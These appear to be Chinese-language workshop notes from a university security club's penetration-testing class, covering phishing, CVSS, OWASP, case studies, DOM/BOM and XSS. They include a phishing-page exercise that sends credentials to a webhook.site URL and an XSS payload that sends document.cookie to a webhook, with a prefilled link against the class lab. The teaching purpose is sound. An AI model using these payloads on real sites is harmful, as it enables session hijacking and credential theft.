---
# System prepended metadata

title: 2023 台科資安社-滲透測試工作坊
tags: [course]

---

---
title: '2023/11/04 台科資安社-滲透測試工作坊'
disqus: hackmd
---

2023 台科資安社-滲透測試工作坊
===

## Table of Contents

[TOC]

## Topic
2023年11月4日星期六 上午 09:00 | 7 小時 | （UTC+08:00）台北

共筆: https://hackmd.io/82HhhxrIREiqTMb4ldxFGg?both

## 釣魚網站
GitHub: https://github.com/fcu-d0449763/phishing_20201214
JSFiddle: https://jsfiddle.net/
WebHook: https://webhook.site/#!/db04293b-a646-466d-a4d5-11f692c2a1f0
### 測試
#### 1. 去 [Github](https://gist.github.com/fei3363/e41a3ee190377f1c04ef2ba16a72d669) 複製 code
#### 2. 將 [webhook.site](https://webhook.site) 生成的網址複製貼上在 `img` 元素內的 `src` 欄位、`form` 的 `action` 欄位
#### 3. 使用 [jsfiddle](https://jsfiddle.net/) 開沙盒來進行測試，把 github 上複製的 code 貼到 HTML 上面
#### 4. fiddle 跑起來之後，就可以在 webhook 當中看見登入資訊、帳號密碼

### 更改外部網站
 form action 更改成接收訊息
### curl 更改User-agent
`shell=
curl -A (user-agent) <網址>
`
## 預防/偵查

- 防範入侵：IPS/IDS
- 了解駭客的攻擊手法：查看 ATT&CK 資料庫
- 惡意程式分析、逆向工程分析

> 內部滲透：駭客會先進行外部滲透，當拿到區網當中的某一台機器，可能就會使用內部滲透去攻擊其他機器

### CVE 已知漏洞資料庫
- CVSS 漏洞評分系統
	- CVSS 版本
	- AV:攻擊方式是什麼樣的（N:網站）
	- AC:攻擊需要的複雜度 (L:低)
	- PR:攻擊所需的權限 (N:無)
	- UI:是否需要使用者互動 (N:不需要)
	- S:影響範疇 (C:改變)
	- C:機密性
	- I:完整性
	- A:可用性

#### [HICTCON ZeroDay](https://zeroday.hitcon.org/)
- 台灣的漏洞回報平台


#### [HackerOne](https://hackerone.com/bug-bounty-programs)
- 國外的 bug bounty（有錢錢賺的那種）


### nslookup
- 隱藏IP:
> 如果不想讓別人知道你的真實 IP 是多少，可以使用 Cloudflare Proxy，會用 CDN 內容交付網路保護原 Server

## F12 console
Ref: [JavaScript入門系列：BOM和DOM筆記](https://medium.com/%E5%BF%AB%E6%A8%82%E5%AD%B8%E7%A8%8B%E5%BC%8F/javascript%E5%85%A5%E9%96%80%E7%B3%BB%E5%88%97-%E4%BD%95%E8%AC%82bom%E5%92%8Cdom-b6eeab2ee5fd)
### DOM 示範
Document Object Model，文件物件模型
```javascript
// 建立新的段落，存入變數 newElement
var newElement = document.createElement("p"); 
// 設定段落文字內容
newElement.textContent = "新的段落"; 
// 將段落加入網頁中
document.body.appendChild(newElement); 
```
把以上這段塞進開發者工具 > console 裏面，可以發現它在下面新增了一個段落
![image.png](https://hackmd.io/_uploads/rk1E8LQ76.png)

### BOM 示範
Browser Object Model，瀏覽器物件模型
```javascript
// 處理彈出視窗
window.alert("這是一個警告視窗！");
// 瀏覽器網址
window.location.href = "https://feifei.tw";
// 瀏覽器歷史紀錄
window.history.back();
```

### Document: Document() constructor
Ref: https://developer.mozilla.org/en-US/docs/Web/API/Document/Document

### 如何預防 Cookie 可以被存取

- HTTP Only
- input validation

### 偷 Cookie 時間

<!-- 類似上次搞 admin 的 payload -->
<!-- 沒錯 -->

```javascript=
<script>new Image().src="WEBHOOK?data="+document.cookie;</script>
```
[測試連結](http://vullab.feifei.tw/index.php?username=%3Cscript%3Enew+Image%28%29.src%3D%22%5BWEBHOOK%5D%28https%3A%2F%2Fwebhook.site%2F040571c1-9359-411e-97f7-2cc753840bc0%29%3Fdata%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E)

# -----社課提供共筆-----

# 網站安全共筆

[toc]

## 課程資訊

> 20231104 @台科資安社

[簽到表單](https://forms.gle/jh53avmsE9YyWzN19)

---
 
## 如何選擇網站作為攻擊目標？

:::danger
不要去隨意攻打沒有經過對方同意的網站
:::

### 什麼是資料外洩？

![image.png](https://hackmd.io/_uploads/S18ShMXma.png)

以上這些都是個人資料，但我們都是平民老百姓，為什麼駭客要攻擊我們QQ

駭客可能搜集我們的資訊，把我們當跳板，從而去得到他們想要的資訊

### 駭客是如何收集到你的資訊？


> 點選某個網站卻點到釣魚網站、下載遊戲下載到病毒、打開郵件其實是釣魚信件、下載到惡意檔案

可能使用社交工程 (Social Attack) 等類似釣魚的方式進行攻擊，可能會偽造如 Facebook 登入頁面等方式，讓人誤植帳號密碼

### 我們要如何避免被駭客打？

- 確認網域為正確，如 faceb0ok.com
- 雙重認證 MFA
- 使用 [VirusTotal](https://www.virustotal.com/gui/) 分析網站、檔案等是否安全
- 自行分析惡意程式、網站，可以使用虛擬機等

### 分析惡意網站
- 打開 Chrome Devtools (F12) (開發者工具)
    - 或右鍵 -> 檢查

確認 `form` 元素發送目標 (action) 地點，但有時候會在 JavaScript 內無法很直覺地看到 :depressed:


## 駭客怎麼進行追蹤

- 圖片網址追蹤
- https://webhook.site

### 實作

1. 去 [Github](https://gist.github.com/fei3363/e41a3ee190377f1c04ef2ba16a72d669) 複製 code
2. 將 [webhook.site](https://webhook.site) 生成的網址複製貼上在 `img` 元素內的 `src` 欄位、`form` 的 `action` 欄位
3. 使用 [jsfiddle](https://jsfiddle.net/) 開沙盒來進行測試，把 github 上複製的 code 貼到 HTML 上面
4. fiddle 跑起來之後，就可以在 webhook 當中看見登入資訊、帳號密碼

> 可以從 `User-Agent` 看到你是啥系統、瀏覽器 (可以被偽造)

### 用指令的方式瀏覽網頁 + 偽造 User-Agent

```shell
curl -A fei=fei <網址>
```

> Implementation: recaptcha 防爬蟲機制 (Header 驗證不安全)

:::spoiler 實際案例
![image.png](https://hackmd.io/_uploads/ryq0UX7Qp.png =x500)
:::


### 台灣怎麼防禦釣魚

https://rpz.twnic.tw/

找較上層的 ISP 直接擋掉 DNS 請求
讓使用者不能連到釣魚網站
但如果是用任何一個國外的 VPN
就沒有辦法防護了

### 預防/偵查

- 防範入侵：IPS/IDS
- 了解駭客的攻擊手法：查看 ATT&CK 資料庫
- 惡意程式分析、逆向工程分析


    > 內部滲透：駭客會先進行外部滲透，當拿到區網當中的某一台機器，可能就會使用內部滲透去攻擊其他機器


### 案例分析：統聯資料外洩

工程師沒設定好，DEBUG 沒關，所以可以看見該網站的環境變數資訊 (env)，可以看見資料庫等資訊
![image.png](https://hackmd.io/_uploads/HkfT3XX76.png =300x)

我們得知資料庫的 port 為 3306，可透過 nslookup 之類的工具求出 DNS 紀錄

![image.png](https://hackmd.io/_uploads/rydXhQXXa.png)

使用 nmap 查詢 port 3306 到底有沒有開

> 如果不想讓別人知道你的真實 IP 是多少，可以使用 Cloudflare Proxy，會用 CDN 內容交付網路保護原 Server

> 如果有使用 CDN，可以使用 [dnsdumpster](https://dnsdumpster.com/) 搜集更多前報


### 案例分析：宇豐電腦

工程師程式沒有寫好，邏輯沒有判斷

![image.png](https://hackmd.io/_uploads/SkLmCX7QT.png)

### DoS vs DDoS

- DoS: 有一個屁孩擋在門前，不讓你進來
- DDoS: 有好多個屁孩惡意擋在門口，其他顧客都進不來

## 常見弱點/漏洞

### OWASP
- [OWASP top 10](https://owasp.org/www-project-top-ten/)
	- 定期整理出最常見的幾種弱點
- [OWASP project](https://owasp.org/projects/)
	- 涵蓋這種階段需要注意的弱點


### CVE 已知漏洞資料庫
- CVSS 漏洞評分系統
	- CVSS 版本
	- AV:攻擊方式是什麼樣的（N:網站）
	- AC:攻擊需要的複雜度 (L:低)
	- PR:攻擊所需的權限 (N:無)
	- UI:是否需要使用者互動 (N:不需要)
	- S:影響範疇 (C:改變)
	- C:機密性
	- I:完整性
	- A:可用性

### [HICTCON ZeroDay](https://zeroday.hitcon.org/)
- 台灣的漏洞回報平台


### [HackerOne](https://hackerone.com/bug-bounty-programs)
- 國外的 bug bounty（有錢錢賺的那種）


## [今天的靶機](http://vullab.feifei.tw/index.php)
- 從開發者工具可以看見很多資訊，並查找該版本相關的漏洞：
	- Server: nginx/1.18.0 (Ubuntu)
	- X-Powered-By: PHP/7.0.30


### CSS injection
```htmlembedded=
<style>
    h1 {
        color:red;
    }
</style>
<h1>飛飛</h1>
```
![image.png](https://hackmd.io/_uploads/rkJVrL7Xp.png)

[用 CSS 來偷資料 - CSS injection（上）](https://blog.huli.tw/2022/09/29/css-injection-1/)

### DOM vs BOM

![image.png](https://hackmd.io/_uploads/SJ-cuLQXT.png)


### DOM 示範

```javascript
// 建立新的段落，存入變數 newElement
var newElement = document.createElement("p"); 
// 設定段落文字內容
newElement.textContent = "新的段落"; 
// 將段落加入網頁中
document.body.appendChild(newElement); 
```
把以上這段塞進開發者工具 > console 裏面，可以發現它在下面新增了一個段落
![image.png](https://hackmd.io/_uploads/rk1E8LQ76.png)

### BOM 示範

* [參考連結](https://developer.mozilla.org/en-US/docs/Web/API/Window/history)
```javascript
// 處理彈出視窗
window.alert("這是一個警告視窗！");
// 瀏覽器網址
window.location.href = "https://feifei.tw";
// 瀏覽器歷史紀錄
window.history.back();
```

### 其他 JS 弱點

- 找 library 有沒有漏洞: jQuery, React, Vue, Angular...
- 找版本/Libeary
    - ex: /login.php 
- 找 API 路徑
- 找 API key: 有人會把帳號密碼寫在 API 裡面QQ
- 用前端驗證可以直接被繞過


## XSS

### Cookie 被偷走會怎麼樣

登入狀態會被偷走

### 如何預防 Cookie 可以被存取

- HTTP Only
- input validation

### 偷 Cookie 時間

<!-- 類似上次搞 admin 的 payload -->
<!-- 沒錯 -->

```javascript=
<script>new Image().src="WEBHOOK?data="+document.cookie;</script>
```

[測試連結](http://vullab.feifei.tw/index.php?username=%3Cscript%3Enew+Image%28%29.src%3D%22%5BWEBHOOK%5D%28https%3A%2F%2Fwebhook.site%2F040571c1-9359-411e-97f7-2cc753840bc0%29%3Fdata%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E)


### 瀏覽器看不到

- 丁特的扭蛋機率
